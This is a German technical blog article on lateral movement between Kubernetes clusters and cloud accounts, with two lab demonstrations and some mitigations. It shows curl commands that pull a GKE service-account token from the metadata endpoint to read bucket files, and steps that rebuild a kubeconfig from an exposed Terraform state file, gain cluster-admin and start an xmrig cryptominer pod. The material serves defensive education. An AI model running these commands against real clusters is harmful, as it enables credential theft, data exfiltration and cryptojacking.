Blog

Kubernetes, Cloud und Security: Lateral-Movement-Techniken zwischen Kubernetes und Cloud-Infrastruktur

13 Nov 2023

Kubernetes ist eine Cloud-Native-Technologie und fühlt sich in Kombination mit anderen Cloud Services sehr wohl. Neben der klassischen Self-managed-Variante glänzen auch Managed Kubernetes Services wie AWS EKS, Google GKE oder Azure AKS durch ihre einfache Bereitstellung und Verwaltung und erfreuen sich zunehmender Akzeptanz. Diese Symbiose birgt jedoch auch einige Sicherheitsrisiken, die aufgrund der isolierten Betrachtung von Kubernetes und dem eingebetteten Cloud-Kontext oftmals stark unterschätzt werden.

Laut der CNCF Annual Survey 2022 [1] überwiegt das Hosting von Kubernetes-Clustern in der Cloud heutzutage deutlich dem traditionellen On-Premise-Hosting. So liegt das reine Hosting in On-Premise-Umgebungen nur noch bei 15-22 Prozent und insbesondere größere Organisationen (> 1 000 Mitarbeiter) verfolgen mit einer Mehrheit von knapp 63 Prozent mindestens einen hybriden Ansatz oder sind vollständig in der Cloud. Diese breite Akzeptanz bestätigt, wie eng die Verzahnung zwischen Kubernetes als Service in der Cloud und der eigentlichen Cloud-Infrastruktur bereits ist. Hier einige Beispiele:

  • Kubernetes-Knoten hosten auf managed/unmanaged Cloud VMs

  • Container kommunizieren durch Service-Accounts oder gespeicherte Cloud Keys mit anderen Cloud-Diensten

  • User und Service-Accounts ermöglichen den Zugriff auf die Clusterinfrastruktur von außen

  • Cloud-Konsolen und CLIs ermöglichen die Provisionierung und Konfiguration ganzer Cluster

  • VPC Peerings ermöglichen die übergreifende Kommunikation zwischen VPC und seinen Cloud-Services, wie z. B. Clustern

Diese Symbiose birgt aber auch nicht zu unterschätzende Risiken, die ein unsicherer Kubernetes-Cluster oder eine unzureichend geschützte Cloud untereinander haben können. So kann ein unautorisierter Zugriff auf Kubernetes nicht nur zu Datenverlust, Ressourcendiebstahl und Service-Ausfällen innerhalb des Clusters führen, sondern potenziell auch die gesamte Cloud-Umgebung kompromittieren. Ein Beispiel hierfür sind die bereits erwähnten Cloud Keys, die häufig auf Containern zu finden sind. Das Wiz-Threat-Research-Team schätzt, dass knapp 40 Prozent aller untersuchten Kubernetes-Umgebungen mindestens einen Pod mit einem Langzeit-Cloud-Key oder einer zugehörigen IAM/AAD-Cloud-Identität enthalten [2].

Obwohl sich bereits Hackergruppen wie TeamTNT auf das Ausspähen von Cloud-Identitäten in Kubernetes spezialisiert haben, wird diese wechselseitige Beziehung in der Security nicht berücksichtigt. Hier dominieren noch zu sehr siloartige Sichtweisen sowohl in der Organisationsstruktur, den Verantwortlichkeiten als auch in den technischen Spezifikationen wie CIS Benchmarks für Kubernetes, AWS, Azure oder GCP. Eine Ausnahme bildet hier der MITRE ATT&CK for Kubernetes, der mögliche Angriffstaktiken von Kubernetes bis zur Cloud thematisiert. Allerdings gibt auch dieses Framework wenig Hinweise darauf, wie einfach diese Kompromittierungen oft sind [3].

Kubernetes-zu-Cloud vs. Cloud-zu-Kubernetes

Bevor wir uns zwei konkrete Beispiele anschauen, gilt es zunächst zu verstehen, dass es zwei Risikokategorien gibt: Kubernetes-zu-Cloud und Cloud-zu-Kubernetes (Abb. 1).

siegert_siekermann_kubernetes_1.tif_fmt1.jpgAbb. 1: Risiken von Kubernetes-zu-Cloud und Cloud-zu-Kubernetes im Vergleich

Kubernetes-zu-Cloud-Risiken thematisieren mögliche Lateral-Movement-Szenarien, die es dem Angreifer erlauben, aus dem Kubernetes-Cluster in die darunter liegende Cloud-Infrastruktur auszubrechen. Diese Kategorie umfasst vier gängige Taktiken [2]:

1. Missbrauch der Instance-Metadata-IAM/AAD-Identitäten der Worker Nodes: Managed Kubernetes Services weisen jedem Worker Node in einem Cluster eine vordefinierte Rolle bzw. einen vordefinierten Service-Account zu. Diese benötigt der Kubelet-Daemon auf dem Worker Node, um Aufrufe an das API des Cloud-Service-Providers (z. B. automatische Skalierung) durchführen zu können. Folglich kann der Worker Node auch seine eigenen Instanzmetadaten über den IMDS (Instance Meta Data Service) Endpunkt abfragen. Dieser Endpunkt befindet sich typischerweise an der lokalen IPv4-Adresse 169.254.169.254. Ein Angreifer ist somit auch in der Lage, die vordefinierte Rolle des Worker Nodes im Falle einer Kompromittierung zu übernehmen. Die Auswirkungen einer solchen Kompromittierung unterscheiden sich von Cloud-Anbieter zu Cloud-Anbieter. Bei AWS erhält der Worker Node standardmäßig drei Policies (AmazonEKSWorker-NodePolicy, AmazonEC2ContainerRegistryReadOnly, AmazonEKS_CNI_Policy), die von der Auflistung sensibler Ressourcenkonfigurationen über das Herunterfahren des Clusters bis hin zum vollen Lesezugriff auf die zugehörigen Container-Registrys und deren gespeicherte Images reichen. Auch GKE, das wir später noch genauer betrachten werden, besitzt eine überprivilegierte Standardrolle, die sowohl den Zugriff auf sensitive Ressourcen als auch das Löschen ganzer Compute-Instanzen des Clusters erlaubt. Nur AKS bietet eine sichere Standardkonfiguration. Diese stellt zunächst sicher, dass alle Clusterressourcen über eine Provider-managed Identity mit der Control Plane kommunizieren, auf die ein Angreifer keinen Zugriff hat. Diese Einschränkung hängt jedoch davon ab, ob sich der Benutzer an die Standardkonfiguration hält und dem Worker-Knoten keine zusätzlichen Privilegien über seine System-assigned oder User-assigned Identity gewährt.

2. Die Speicherung von Cloud-Keys in Kubernetes-Objekten ermöglicht es Angreifern, unbemerkt auf andere Cloud-Ressourcen zuzugreifen. Langlebige Cloud-Keys (z. B. Azure Service Principals, IAM Secrets) werden gerne in Kubernetes Secrets oder direkt im Container-Image gespeichert. Dadurch können Pods zur Laufzeit Operationen auf der Cloud-Umgebung durchführen. Gute Beispiele sind hier oft containerisierte Backend-Tasks oder CI/CD-Tools, die für die Provisionierung anderer Ressourcen zuständig sind. Besonders problematisch an diesem Ansatz der Identitätsvergabe ist, dass Schlüssel oft mit unbegrenzter Lebensdauer generiert werden und Nutzer gerne ihre eigenen überprivilegierten Rechte mit dem Schlüssel verknüpfen. Das kann unter Umständen zu einer sofortigen Übernahme der gesamten Umgebung führen.

3. Der Missbrauch von Pod IAM/AAD-Identitäten stellt ein Risiko dar, wenn Cloud-IAM/AAD-Identitäten direkt Kubernetes Pods und deren Service-Accounts zugewiesen werden. IAM-Rollen für Service-Accounts sind eine gute Alternative zu lokal gespeicherten Cloud-Keys, da sie an den Container gebunden sind. Allerdings ermöglichen sie dem Angreifer im Falle einer Kompromittierung auch den direkten Zugriff auf die Anmeldeinformationen des Service-Accounts und damit das laterale Eindringen in den Cloud-Kontext. Daher sollten diese Identitäten immer nach einem Least-Privilege-Ansatz vergeben werden.

4. Ausnutzung (traditioneller) Pod Escapes, die bis in die Cloud-Umgebung reichen können: Ein Angreifer, der durch kritische Fehlkonfigurationen oder Schwachstellen aus einem Pod ausbricht und den zugrundeliegenden Host erreicht, kann möglicherweise auf andere Pods zugreifen, die darauf laufen. Durch dieses Kubernetes Lateral Movement kann wiederum auf andere Pods mit IAM/AAD-Identitäten oder Cloud-Keys zugegriffen werden. Die Auswirkungen des Pod Escape auf den zugrundeliegenden Host können jedoch auch durch die dem Kubelet zugewiesenen RBAC-Berechtigungen beeinflusst werden. Alle Managed Kubernetes Provider würden in diesem Fall zumindest vollen Lesezugriff auf alle Clusterressourcen über die Kubernetes REST APIs (URL/api/*) erlauben. In AKS kommen noch Schreibrechte auf kritische Kubernetes-Objekte wie create/delete Pods oder auch update Nodes hinzu. Dementsprechend könnte der Angreifer beispielsweise einen bösartigen Pod starten und diesem einen Kubernetes-Service-Account mit AAD User-managed Identity zuweisen. Dieser kann dann, wie bereits im dritten Punkt beschrieben, übernommen und kompromittiert werden. Eine detaillierte Auflistung der Angriffsmöglichkeiten pro Cloud Provider findet sich im Blogpost von Wiz unter [2].

Aber auch der umgekehrte Fall sollte von Kubernetes Ownern nicht unterschätzt werden. Während bisherige Taktiken sich auf den Fall konzentrieren, dass ein Angreifer bereits auf dem Cluster ist und in die Cloud ausbricht, ist auch der umgekehrte Fall sehr leicht möglich. Cloud-to-Kubernetes-Risiken sind mögliche Lateral-Movement-Szenarien, die es dem Angreifer erlauben, ganze Kubernetes-Cluster von Cloud-Ressourcen aus zu übernehmen [4]:

1. Missbrauch von Cloud-Keys mit Zugang zum Kubernetes-Cluster: Cloud-Keys finden sich fast überall in der Cloud-Umgebung, auf lokalen Rechnern von Entwicklern und auch in CI/CD Pipelines. Wie bereits beschrieben, ermöglichen Cloud-Keys die Authentifizierung und Autorisierung in der Cloud-Umgebung sowohl für technische als auch für normale Benutzer. Cloud-Umgebungen folgen auch hier dem Securityparadigma: „Identity is the new Perimeter“, da für diese Art des Zugriffs keine Netzwerkrestriktionen gelten. Die Auswirkungen eines Angriffs über den Identitätsvektor hängen in erster Linie von den Privilegien ab. Dennoch ist es wichtig zu verstehen, wie sich das Schlüsselmaterial der einzelnen Cloud-Anbieter voneinander unterscheidet:

  • AWS IAM Keys: Hierbei handelt es sich primär um User-Access-Keys. Der Ersteller eines EKS-Clusters erhält standardmäßig die system:master– Rechte, die ihm die Administration der EKS Control Plane erlauben würde. Anderen IAM-Identitäten müssen diese Rechte erst manuell zugewiesen werden.

  • GCP-Cloud-Keys: Cloud-Keys in GCP ermöglichen unter anderem die Erstellung von Kubeconfig-Files und damit auch die Authentifizierung an GKE-Clustern im Tenant. Der Cloud-Key steuert den Zugriff auf das GCP-Projekt, während die Cluster-RBAC weiterhin für den Zugriff im Cluster zuständig ist. Projektadmins haben vollen Zugriff auf das gesamte Cluster.

  • Azure Keys: Azure Keys verhalten sich ähnlich wie GCP-Cloud-Keys und erlauben im Standardfall AAD-Usern das Erstellen von Kubeconfig-Files (Local Account with Kubernetes RBAC). Da AKS-Cluster somit standardmäßig nicht mit dem Azure Active Directory (AAD) verbunden sind, erhalten die Nutzer ein Clientzertifikat mit dem Common Name (CN) master client und der zugehörigen Gruppe system:master. Das bedeutet, dass eine kompromittierte AAD Identity nur die minimalen Rechte zum Auflisten der Cluster-User-Credentials benötigt, um eine Kubeconfig-Datei zu generieren und somit vollen AKS-Cluster-Adminzugriff erhält [5]. Da diese Konfiguration sehr riskant ist, bietet Azure zwei mögliche Alternativen an: AAD Authentication with Kubernets RBAC und Authentication with Azure RBAC. Beide stellen sicher, dass AAD die gesamte Rechteverwaltung übernimmt und jeder initiale API-Aufruf an das Cluster-API zunächst eine Authentifizierung über den Browser erfordert. Somit sind Cloud-Keys in diesen Varianten erst dann gefährlich, wenn sie die entsprechenden Rechte über das AAD erhalten haben.

2. Kompromittierung des Clusters über Container-Images aus der Container-Registry: Im Standardfall nutzen Cloud-Anwender neben den Managed-Kubernetes-Diensten häufig auch eine Cloud-basierte Container-Registry (AWS: ECR, Google: GCR, Azure: ACR). Im Falle einer Fehlkonfiguration der Container-Registry können Angreifer sowohl über den Identitäts- als auch Netzwerkvektor Zugriff auf die Repositorys erhalten. Neben dem Pullen von Images auf der Suche nach Schlüssel-material können mit Pushprivilegien auch Supply Chain Attacks ausgeführt werden. Der Angreifer kann so zum Beispiel eine Backdoor in ein existierendes Container-Image bauen und es auf ein vertrautes Repository mit dem selben Namen und Tag pushen. Sollte das Image in den Cluster deployt werden, ermöglicht es dem Angreifer den direkten Einstieg in die Clusterumgebung.

3. Missbrauch von Kubeconfig-Dateien, um in den Cluster einzudringen: Entwicklungsmaschinen und auch CI/CD-Tools speichern häufig eine Kubeconfig-Datei lokal ab (Standardpfad: ~/.kube/config), um sich gegenüber dem Cluster zu authentifizieren. Wie bereits im vorherigen Szenario zu Cloud-Keys beschrieben, sind neben unmanaged Kubernetes-Clustern insbesondere AKS-Cluster mit Standardkonfiguration sehr anfällig für diese Art des Angriffs, da sie weder Zugriff auf die AAD-Identität noch einen zugehörigen Cloud-Key benötigen.

4. Missbrauch von kompromittierten Terraform State Files: Kubernetes-Cluster werden häufig auch über In-frastructure as Code definiert und provisioniert. Nach erfolgreicher Provisionierung mit zum Beispiel Terraform wird der zugehörige Zustand (State) an einem Speicherort abgelegt. Die vermutlich sicherste Variante ist in der Terraform-Cloud. Da das jedoch mit Kosten verbunden ist, entscheiden sich viele Teams, die State-Files auf einem gemeinsamen Speicherort, wie z. B. in einem Bucket, abzulegen. Da Terraform-State-Files jedoch auch das Schlüsselmaterial zur Authentisierung am Cluster beinhalten, kann die Kompromittierung des Terraform State zur direkten Übernahme von Clusterressourcen führen.

Angriff auf die IMDS-Metadaten

Nachdem wir uns nun einen allgemeinen Überblick über mögliche Kubernetes-zu-Cloud und Cloud-zu-Kubernetes-Risiken verschafft haben, ist es an der Zeit, jeweils ein Beispiel aus der Praxis aus technischer Sicht näher zu betrachten. Beginnen wir mit dem ersten Kubernetes-zu-Cloud-Szenario: „Missbrauch der Instance-Metadata-IAM/AAD-Identitäten der Worker Nodes“. Obwohl dieses Beispiel komplex klingen mag, ist die Implementierung erschreckend einfach.

Für unser Beispiel haben wir zunächst GCP als Cloud-Provider gewählt und gehen von folgendem Set-up aus:

  • 1 GCP-Project namens: wizdemo

  • 1 Standard-GKE-Cluster (nicht auto-pilot):

    • Kubernetes-Version: 1.25.8-gke.500

    • Name: entwicklermagazin-demo

    • Anzahl Worker Nodes: 2

    • Region: us-central1

    • Private Cluster: disabled (somit öffentlich erreichbar)

    • Network und Subnet: default

    • Weitere Konfigurationen: default

  • 1 Bucket:

    • Public Bucket: not Private Bucket

    • Region: us-central1

    • Inhalt:

      • file1.txt: This is a file containing secret data from a bucket

      • file2.txt: This is a file containing more secret data from a bucket

      • file3.txt: This is a file containing more secret data from a bucket

Auf dem GKE-Cluster läuft zunächst ein einfacher Container. Dieser beinhaltet lediglich ein alpine:latest Base Image sowie die Pakete curl, wget und jq. Für den Kontakt auf den Metadaten-Service reichen uns ein einfacher curl– bzw. wget-Befehl aus. Der Befehl jq dient uns lediglich als Hilfestellung bei der späteren Visualisierung (Listing 1).

Listing 1

# Dockerfile
FROM alpine:latest
RUN apk add --no-cache curl wget jq
CMD ["/bin/sh", "-c", "sleep 1000"]
 
# Docker build and Push to registry
/# docker build . -t masie/alpine-curl:1
/# docker push masie/alpine-curl:1
 

Zur Vereinfachung wählen wir einen Standard-Pod als Deployment-Methode. Der Pod wird in den Default-Namespace deployt. Nachdem wir nichts an seinen Kubernetes-Rechten verändern müssen, wird ihm standardmäßig der Default-Kubernetes-Service-Account zugewiesen [5] (Listing 2).

Listing 2

# Deployment yml
apiVersion: v1
kind: Pod
metadata:
  name: alpinecompromisedpod
  labels:
    env: test
spec:
  containers:
  - name: alpinecompromisedpod
    image: masie/alpine-curl:1
    imagePullPolicy: IfNotPresent
 
# Deploy
/# kubectl apply -f alpinecompromisedpod.yml
# Default service Account Permission
/#  kubectl auth can-i --list --as=system:serviceaccount:default:default
Resources              Non-Resource URLs                          Resource Names      Verbs
selfsubjectaccessreviews.authorization.k8s.io []              []                         [create]
selfsubjectrulesreviews.authorization.k8s.io   []              []                         [create]
                           [/.well-known/openid-configuration] []                         [get]
                           [/api/*]                                         []                         [get]
                           [/api]                                            []                         [get]
                           [/apis/*]                                        []                         [get]
                           [/apis]                                           []                         [get]
                           [/healthz]                                      []                         [get]
                           [/healthz]                                      []                         [get]
                           [/livez]                                          []                         [get]
                           [/livez]                                          []                         [get]
                           [/openapi/*]                                  []                         [get]
                           [/openapi]                                     []                         [get]
                           [/openid/v1/jwks]                          []                         [get]
                           [/readyz]                                       []                         [get]
                           [/readyz]                                       []                         [get]
                           [/version/]                                    []                         [get]
                           [/version/]                                    []                         [get]
                           [/version]                                     []                         [get]
                           [/version]                                     []                         [get]
 

Nehmen wir nun an, dass es einem Angreifer gelungen ist, auf die Kommandozeile des Pods zuzugreifen. In der Praxis kann das aus verschiedenen Gründen geschehen. Drei Beispiele:

  • Schwachstellenausnutzung: Der Pod wird über einen Service zum Internet aufgesetzt und eine darauf laufende Applikation ermöglicht dem Angreifer, durch eine Schwachstelle arbiträren Code auszuführen oder direkt eine Reverse-Shell aufzubauen.

  • Supply-Chain-Angriff: Der Angreifer hat eine Reverse-Shell über einen bösartigen Container eingeschleust und führt einen Supply-Chain-Angriff in einen bösartigen Container (siehe auch Cloud-zu-Kubernetes-Risiko Nummer 2).

  • Insiderangriff: Ein Angreifer hat bereits Zugriff auf das Kubernetes-API und kommt mittels kubectl exec auf den Container.

Auf dem Container starten wir, wie in Listing 3 gezeigt, unsere curl-Anfragen auf den IMDS-Endpunkt des darunterliegenden Worker Nodes (IPv4-Adresse 169.254.169.254).

Listing 3

# Log into the Container shell
/# kubectl exec --namespace default -it alpinecompromisedpod /bin/sh 
pod>/# _
 
# Retrieve Project ID and Metadata
pod>/# export PROJECT_ID=$(curl -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/project/project-id)
pod>/# echo $PROJECT_ID
pod>/# wizdemo
 
pod>/# export ACCESS_TOKEN=$(curl -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token | jq '.access_token')
pod>/# echo $ACCESS_TOKEN
pod>/# ya29.c.b0Aaekm1Krl3ORpvj5quOA_50yxxxxxxxxxxxxx
 

Im Container angelangt, interessieren uns zunächst besonders zwei Metadaten. Das Google Project, in das der Cluster deployt wurde, sowie das Access-Token des Service-Accounts, das der Worker Node für seine Ausführung benötigt. GKE weist standardmäßig den Worker Nodes einen überprivilegierten Service-Account mit der Rolle roles/editor zu [7]. Das würde jedoch auch bedeuten, dass man defaultmäßig aktiv zu User-managed Service-Accounts wechseln muss, und auch die von GKE empfohlene Rolle roles/container.nodeServiceAccount mit Minimum-Privileges erhält noch immer nützliche Privilegien wie storage.objects.list oder storage.objects.get [8].

Mit Hilfe der Project-ID und des Access-Tokens sind wir nun in der Lage, Cloud-Ressourcen außerhalb des Clusters anzusteuern. Hierzu dient uns Googles REST API. Zunächst listen wir uns alle Buckets innerhalb des Projekts über den Endpoint https://storage.googleapis.com/ (Listing 4).

Listing 4

# Show me all buckets in the Project
/# curl -H "Authorization: Bearer $ACCESS_TOKEN" https://storage.googleapis.com/storage/v1/b?project=$PROJECT_ID | jq .items[].name
"entwicklermagazin-test-bucket"
"gcf-sources-370612829195-us-east1"
"us.artifacts.wizdemo.appspot.com"
 

Hier findet sich auch schon unser Angriffsziel, der entwicklermagazin-test-bucket neben gcf-sources-370612829195-us-east1 (ein Bucket für Build-Logs) sowie us.artifacts.wizdemo.appspot.com (ein Bucket für Staging-Files). Zu guter Letzt müssen wir lediglich die Objekte auslesen und an einen gewünschten Ort exfiltrieren. In unserem Beispiel speichern wir das erste File lokal in den Container und lesen sie aus (Listing 5).

Listing 5

# Listing the content of the entwicklermagazin-test-bucket
/# curl -X GET -H "Authorization: Bearer $ACCESS_TOKEN" https://storage.googleapis.com/storage/v1/b/entwicklermagazin-test-bucket/o | jq .items[].name
"file1.txt"
"file2.txt"
"file3.txt"
 
# Copying the first file of the bucket onto the local Container
/# curl -X GET \
  -H "Authorization: Bearer $ACCESS_TOKEN"  \
  -o "file1.txt" \
  "https://storage.googleapis.com/storage/v1/b/entwicklermagazin-test-bucket/o/file1.txt?alt=media"
 
# Printing the file1.txt Content of the container
/# cat file1.txt
This is a file containing secret data from a bucket
 

Für die Simulation des Angriffs haben wir lediglich curl und jq genutzt, es wäre also für jeden Angreifer ein Leichtes, die Schritte in ein einfaches Shellskript zu übertragen, ohne spezifische Google-Cloud-Assets wie die gcloud CLI zu installieren. Die Grafik in Abbildung 2 wurde durch die CNAPP-Lösung Wiz direkt aus der Cloud- und Kubernetes-Umgebung heraus erstellt und fasst unseren genauen Angriffspfad zusammen.

siegert_siekermann_kubernetes_2.tif_fmt1.jpgAbb. 2: Liveangriffspfad von IMDS-Metadaten zu Cloud-Bucket

Um das Risiko eines solchen Angriffs zu reduzieren, haben die Anwender verschiedene Möglichkeiten:

  • Die Minimierung der Rechte des Default-Service-Accounts stellt sicher, dass nur essenzielle Services angesteuert werden können. Die Alternative Metadata Concealment wird jedoch nicht mehr empfohlen und ist deprecated [10].

  • Zusätzlich könnte man das Blockieren des IMDS über Network Policies in Betracht ziehen. GKE erlaubt den Einsatz von Network Policies (z. B. GlobalNetworkPolicy), die dazu genutzt werden können, Egress-Regeln zum Blocken des Traffics nach 169.254.169.254 zu nutzen [11].

  • Falls kein Standardcluster in GKE benötigt wird, ließe sich das Risiko auch vollständig über Autopilot-Cluster vermeiden, die zusätzliche Securityfeatures bereitstellen.

  • Runtime-Security-Monitoring über z. B. eBPF-basierte Sensoren kann dazu dienen, potenzielle Angriffe über den IMDS-Service zu erkennen und zu blockieren.

Terraform-State-Files als Eintrittstor in den Cluster

Das zweite Beispiel zeigt ein gängiges Cloud-zu-Kubernetes-Risiko: Missbrauch von kompromittierten Terraform State Files. Internet Exposed Buckets sind eine grundsätzliche Herausforderung in allen Cloud-Umgebungen, die immer wieder für Schlagzeilen sorgt (z. B. [12]) und leider oft nur durch unbeabsichtigte Fehlkonfiguration entsteht. Besonders gefährlich, wenn es sich dabei auch noch um Buckets mit Konfigurations- oder Logdateien handelt. Für den „State of the Cloud 2023“-Report hat das Wiz-Threat-Research-Team S3-Buckets mit bekannten Firmennamen und den Endungen -backup und _logs öffentlich ins Netz gestellt. Es dauerte nur 13 Stunden, bis externe Ressourcen die ersten list-Versuche auf den Buckets platzierten. Die Zeit halbierte sich fast auf 7 Stunden, wenn S3-Buckets mit zufälligen Namen in GitHub-Repositories einfach referenziert wurden. Ein kurzer Moment der Unachtsamkeit führt also schnell zu weitreichenden Konsequenzen bis in den Kubernetes-Cluster hinein.

Für unser zweites Beispiel haben wir AWS als Cloud-Provider gewählt und bauen auf folgendem Set-up auf:

  • 1 AWS-Account

  • 1 Standard-EKS-Cluster

    • Kubernetes-Version: v1.24.13-eks-0a21954

    • Name: entwicklermag-demo-cluster

    • Anzahl Worker Nodes: 2

    • Region: us-central1

    • API Server Endpoint Access: Public and private (somit öffentlich erreichbar)

    • Network und Subnet: default

    • Weitere Konfigurationen: default

  • 1 Bucket:

    • Public Bucket: not Private Bucket

    • Region: us-central-1

    • Inhalt: terraform.tfstate (Terraform-State-Datei)

Wie im vorangegangenen Abschnitt bereits angedeutet, stellt sich die Ausgangssituation für dieses Szenario so dar, dass die Terraform-State-Datei für eine AWS-Cloud-Konfiguration in einem öffentlich zugänglichen S3 Storage Bucket abgelegt wurde. Neben anderen Cloud-Infrastrukturkonfigurationen enthält die State-Datei auch die Kubernetes-Konfiguration, inklusive der für einen administrativen Zugang erforderlichen Zertifikate. Im Folgenden werden wir aufzeigen, wie ein potenzieller Angreifer mit sehr wenig Aufwand anhand der Terraform-State-Datei eine Kubernetes-Konfigurationsdatei erstellen und damit vollen Zugriff auf den Kubernetes-Cluster bekommen kann.

Abbildung 3 illustriert zunächst den Angriffsvektor für dieses Szenario des dem Internet ausgesetzten Bucket hin zur Terraform-State-Datei des Public-EKS-Clusters. In Abbildung 4 listen wir auch die im Bucket gespeicherten Kubernetes-Zertifikate als Beispiel aus der CNAPP-Lösung Wiz heraus.

siegert_siekermann_kubernetes_3.tif_fmt1.jpgAbb. 3: Korrelation des laufenden EKS-Clusters mit den Terraform-State-Informationen
siegert_siekermann_kubernetes_4.tif_fmt1.jpgAbb. 4: Terraform-State-Datei mit Kubernetes-Cluster-Zertifikaten

Ein potenzieller Angreifer kann über den öffentlich zugänglichen S3 Bucket die Terraform-State-Datei (terraform.tfstate) herunterladen und hat damit Zugriff auf alle Informationen, die zur Erstellung der Kubernetes-Konfigurationsdatei (~/.kube/config) notwendig sind. Dazu werden die drei Abschnitte clustercontext und users benötigt. Die in Listing 6 aufgeführte terraform.tfstate-Datei zeigt die relevanten Kubernetes-Clusterinformationen. Die entsprechenden Werte werden anschließend in eine leere .kube/config-Datei übertragen (Listing 7).

Listing 6

"resources": [
  {
    "mode": "data",
    "type": "aws_eks_cluster",
    "name": "default",
    "provider": "provider[\"registry.terraform.io/hashicorp/aws\"]",
    "instances": [
      {
        "schema_version": 0,
        "attributes": {
          "arn": "arn:aws:eks:us-east-1:113201404900:cluster/entwicklermag-demo-cluster",
          "certificate_authority": [
            {
              "data":
"LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSUMvakNDQWVhZ0F3SUJBZ0lCQURBTkJna3Foa2lHOXcwQkFRc0ZBREFWTVJNd0VRWURWUVFERXdwcmRXSmwKY201bGRHVnpNQjRYRFRJek1EWXdOekEzTWpVeU4xb1hEVE16TURZd05EQTNNalV5TjFvd0ZURVRNQkVHQTFVRQpBeE1LYTNWaVpYSnVaWFJsY3pDQ0FTSXdEUVlKS29a=…"
            }
          ],
          "cluster_id": null,
          "created_at": "2023-06-07 07:19:44.6 +0000 UTC",
          "enabled_cluster_log_types": [
            "api",
            "audit",
            "authenticator"
          ],
          "endpoint": "https://BBCFF41D760BE0DB54B4E095E33B7B3D.yl4.us-east-1.eks.amazonaws.com",
          "id": "entwicklermag-demo-cluster",
          "identity": [/Users/username/.kube %
 

Listing 7

apiVersion: v1
clusters:
- cluster:
  certificate-authority-data: LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSUMvakNDQWVhZ0F3SUJBZ0lCQURBTkJna3Foa2lHOXcwQkFRc0ZBREFWTVJNd0VRWURWUVFERXdwcmRXSmwKY201bGRHVnpNQjRYRFRJek1EWXdOekEzTWpVeU4xb1hEVE16TURZd05EQTNNalV5TjFvd0ZURVRNQkVHQTFVRQpBeE1LYTNWaVpYSnVaWFJsY3pDQ0FTSXdEUVlKS29aS…
  server: https://BBCFF41D760BE0DB54B4E095E33B7B3D.yl4.us-east-1.eks.amazonaws.com
  name: arn:aws:eks:us-east-1:113201404900:cluster/entwicklermag-demo-cluster
contexts:
- context:
  cluster: arn:aws:eks:us-east-1:113201404900:cluster/entwicklermag-demo-cluster
  user: arn:aws:eks:us-east-1:113201404900:cluster/entwicklermag-demo-cluster
  name: arn:aws:eks:us-east-1:113201404900:cluster/entwicklermag-demo-cluster
current-context: arn:aws:eks:us-east-1:113201404900:cluster/entwicklermag-demo-cluster
kind: Config
preferences: {}
users:
- name: arn:aws:eks:us-east-1:113201404900:cluster/entwicklermag-demo-cluster
  user:
    exec:
      apiVersion: client.authentication.k8s.io/v1beta1
      args:
      - --region
      - us-east-1
      - eks
      - get-token
      - --cluster-name
      - entwicklermag-demo-cluster
      - --output
      - json
      command: aws
 

Nachdem die Kubernetes-Konfigurationsdatei (~/.kube/config) erstellt wurde, kann sich der Angreifer mit Hilfe des kubectl-Kommandos mit dem Kubernetes-Cluster verbinden und sich einen ersten Überblick über den Cluster verschaffen. In Listing 8 sehen Sie ein Beispiel für das Listen der einzelnen Nodes des Clusters, Namespaces sowie laufender Pods in einem der Namespaces (entwicklermagazin-demo).

Listing 8

/Users/username/.kube % ls
cache    config
 
/Users/username/.kube % kubectl get nodes
NAME                               STATUS  ROLES     AGE    ERSION
ip-10-0-10-29.ec2.internal   Ready    <none>   7d3h   v1.24.13-eks-0a21954
ip-10-0-11-12.ec2.internal   Ready    <none>   7d3h   v1.24.13-eks-0a21954
 
/Users/username/.kube % kubectl get ns
NAME                           STATUS   AGE
default                         Active   7d3h
entwicklermagazin-demo Active   7d3h
kube-node-lease             Active   7d3h
kube-public                   Active   7d3h
kube-system                  Active   7d3h
wiz                              Active   7d3h
 
/Users/username/.kube % kubectl get pods -n entwicklermagazin-demo
NAME                                     READY   STATUS     RESTARTS   AGE
demo-comporimised-container   1/1       Running   0               7d2h
 

Der Angreifer kann sich weiterhin mit kubectl auth can-i –list informieren, welche Rechte er zusätzlich im Cluster hat. Im Falle von EKS werden beispielsweise dem Ersteller des Clusters standardmäßig die system:masters-Permissions zugewiesen [14], die über ein Role Binding mit der Clusteradminrolle verknüpft sind (Listing 9). Das heißt, der Angreifer hat in diesem Fall Clusteradminrechte. Ähnlich verhält es sich bei GKE und AKS [4].

Listing 9

/Users/username/.kube % kubectl auth can-i --list
Resources                              Non-Resource URLs  Resource Names     Verbs
*.*                                       []                          []                        [*]
                                           [*]                        []                        [*]
selfsubjectaccessreviews.authorization.k8s.io []      []                        [create]
selfsubjectrulesreviews.authorization.k8s.io  []       []                        [create]
                                           [/api/*]                  []                        [get]
                                           [/api]                    []                        [get]
                                           [/apis/*]                []                        [get]
                                           [/apis]                   []                        [get]
                                           [/healthz]              []                        [get]
                                           [/healthz]              []                        [get]
                                           [/livez]                  []                        [get]
                                           [/livez]                  []                        [get]
                                           [/openapi/*]          []                        [get]
                                           [/openapi]             []                        [get]
                                           [/readyz]               []                        [get]
                                           [/readyz]               []                        [get]
                                           [/version/]            []                        [get]
                                           [/version/]            []                        [get]
                                           [/version]             []                        [get]
                                           [/version]             []                        [get]
podsecuritypolicies.policy        []                        [eks.privileged]     [use]
 

Sie erlauben unter anderem auch den problemlosen Shellzugang zu Pods, um so zum Beispiel Daten zu exfiltrieren, aber auch die Erstellung neuer Ressourcen, um Cryptojacking zu betreiben (Listing 10).

Listing 10:

/Users/username/.kube % kubectl -n entwicklermagazin-demo exec --stdin --tty demo-comporimised-container  -- /bin/bash
 
root@demo-comporimised-container:/# ls
bin  boot  dev	docker-entrypoint.d  docker-entrypoint.sh  etc home  lib  lib64  media  mnt  opt  proc  root  run  sbin  srv  sys  tmp  usr  var
 
root@demo-comporimised-container:/# exit
 
Users/username/.kube % kubectl run xmrig –image=rcmelendez/xmrig -n entwicklermagazin-demo
Pod/xmrig created
 
Users/username/.kube % kubectl get pods -n enticklermagazin-demo
NAME                                    READY   STATUS     RESTARTS   AGE
demo-compromised-container   1/1       Running    0              5d5h
xmrig                                    1/1       Running    0              12s
 

